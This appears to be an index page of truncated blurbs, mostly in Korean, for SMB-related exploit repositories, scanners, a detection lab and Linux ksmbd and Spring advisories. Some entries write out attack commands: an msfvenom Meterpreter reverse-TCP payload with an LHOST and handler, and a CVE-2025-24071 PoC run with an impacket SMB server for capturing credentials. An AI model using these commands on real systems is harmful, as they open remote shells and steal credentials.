CVE-2022-24500

CVE-2022-24500 RCE 익스플로잇 Windows SMB 원격 코드 실행 취약점 취약점: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 1단계 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin 2단계 msf5 use multi/handler msf5...

MSFinger

MSFinger - Microsoft 네트워크 서비스 핑거프린팅 도구 버전: 1.0 저자: Laurent Gaffie 회사: Secorizon 개요 MSFinger는 내부 네트워크 정찰을 위해 설계된 고성능 네트워크 핑거프린팅 도구입니다. SMB, LDAP 및 LDAPS 프로토콜 전반에 걸쳐 Microsoft 서비스를 신속하게 식별하고, 보안 구성을 탐지하며, 잠재적 취약점을 강조 표시합니다. 주요 기능: 내부 네트워크에 최적화된 고속 동시 스캔기본 1초 타임아웃 SMB/SMB2/SMB3 버전 및 서명signing 탐지...

CVE-2020-0796-DoS

CVE-2020-0796 DoS PoC SMBGhost CVE-2020-0796을 악용하는 간단한 데모입니다. 이 스크립트는 취약한 머신에서 BSoD를 유발합니다. 추가 의존성 없이 순수 Python 3만 사용합니다. 사용법 python CVE-2020-0796-DoS.py 크레딧 하드코딩된 패킷 데이터는 maxpl0it의 이 PoC 스크립트에서 파생되었습니다...

SMBetray

SMBetray 버전 1.0.0. 이 도구는 공격자가 안전하지 않은 SMB 연결을 가로채고 수정할 수 있는 능력과, 자격 증명이 알려진 경우 일부 보안 SMB 연결을 손상시킬 수 있는 능력을 입증하기 위한 PoC입니다. 배경 Defcon26에서 "SMBetray - Backdooring and Breaking Signatures"로 공개됨 SMB 연결에서 서버와 클라이언트 간에 전달되는 데이터의 무결성을 보호하는 보안 메커니즘은 SMB 서명 및 암호화입니다. SMB 서명이 사용될 때 SMB 패킷의 서명은 인증 단계에서 네트워크...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 설명 이 간단한 Python 스크립트는 SMB 프로토콜을 사용하여 대상 IP 주소와 포트에 페이로드를 전송할 수 있게 해줍니다. 교육 목적으로 SMB 익스플로잇 페이로드의 사용을 시연하기 위해 설계되었습니다. 페이로드는 특정 바이트 시퀀스를 포함하는 하드코딩된 SMB 메시지입니다. ⚠️ 중요 참고 사항 책임 있는 사용: 이 스크립트는 교육 목적으로만 제공됩니다. 승인되지 않았거나 악의적인 활동에 사용하지 마십시오. 페이로드: 스크립트에 포함된 페이로드는 샘플이며...

ntlm-scanner

새 기능! CVE-2020-1472 ZeroLogon 익스플로잇 스캔 네트워크의 DC를 스캔하여 CVE-2020-1472의 실제 익스플로잇을 탐지합니다. 예시: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target 이 도구는 매분마다 DC에 대해 빈 암호를 시도하는 방식으로 작동합니다. 익스플로잇은 암호를 빈 값으로 설정해야 하므로, 매우 빠르게 되돌리지 않는 한 익스플로잇 중에 실행 중이라면...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

SMBv3.1.1-scan---CVE-2020-0796

SMBv3-scan---CVE-2020-0796 머신이 SMBv3를 실행 중인지 확인하는 작은 스캐너 가능한 취약점 CVE-2020-0796...

CVE-2025-55234

CVE-2025-55234 이 취약점은 공격자가 SMBServer Message Block 프로토콜에 대한 릴레이 공격을 수행할 수 있게 합니다. 성공할 경우 권한 상승EoP으로 이어져, 본질적으로 인증되지 않은 사용자가 시스템에서 더 높은 수준의 액세스 권한을 얻을 수 있게 됩니다. 작성자: Mark Mallia 이슈 이 취약점은 공격자가 SMBServer Message Block 프로토콜에 대한 릴레이 공격을 수행할 수 있게 합니다. 성공할 경우 권한 상승으로 이어져, 본질적으로 인증되지 않은 사용자가 시스템에서 더 높은...

cve-2023-23397-detection-lab

CVE-2023-23397 Detection & Mitigation Research Lab Overview This project is a defensive cybersecurity research lab focused on the network behavior associated with CVE-2023-23397. The project studies suspicious outbound SMB and NTLM authentication from a Windows endpoint and demonstrates a complet...

MSF_PassSpray_Wordlist_Generator

패스워드 스프레이 워드리스트 생성기 Metasploit 프레임워크용 워드리스트를 생성하여 피해자 도메인의 다양한 네트워크 프로토콜SMB 등에 대해 패스워드 스프레이 공격을 수행할 수 있도록 도와주는 편리한 도구입니다 : 설명 Metasploit에는 다양한 서비스나 프로토콜에 대한 무차별 대입 공격을 수행하는 데 사용할 수 있는 여러 모듈이 있습니다. "SMBLogin" 모듈을 예로 들면, SMB 프로토콜이 열려 있는 시스템에 대해 여러 로그인을 테스트하여 피해자의 비밀번호를 얻으려고 시도합니다 . 윤리적 해커로서 , "계정 잠...

CVE-2020-0796-POC

CVE-2020-0796 사전 인증 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수 찾기 CVE-2020-0796 / "SMBGhost" 확인용 POC 예상 결과: 블루 스크린 교육 및 기업 환경에서의 테스트 전용입니다. ZecOps는 이 코드에 대해 책임을 지지 않으며, 사용에 따른 위험은 사용자 본인에게 있습니다. 서버, 엔드포인트 및 모바일 장치에서 SMBGhost 및 기타 공격 유형을 자동으로 탐지하는 에이전트 없는 DFIR 도구에 관심이 있으시면...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the processing of SMB2SESSIONSETUP and SMB2LOGOFF commands. The issue arises due to the lack of proper locking when performing operations on an object. An...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: The “binding mark” of a reused connection was unset. Steve French reported a null pointer dereference error from the sha256 lib. The cifs.ko module can send session setup requests using a reused connection. If a reused...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw resides in the handling of SMB2SESSIONSETUP commands. The issue arises due to a lack of control over resource consumption. An attacker can exploit this vulnerability to...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fixed an issue where shareconf was freed after use, in compound requests. smb2getksmbdtcon reuses work-tcon in compound requests without validating tcon-tstate. ksmbdtreeconnlookup checks that tstate is equal to...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.9. ksmbd does not validate the SMB request protocol ID, resulting in an out-of-bounds read...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

PT-2026-82703

Name of the Vulnerable Software and Affected Versions Spring Integration versions 6.4.0 through 6.4.12 Spring Integration versions 6.5.0 through 6.5.10 Spring Integration versions 7.0.0 through 7.0.5 Spring Integration version 7.1.0 Description The jCIFS client may negotiate down to SMB1/CIFS if...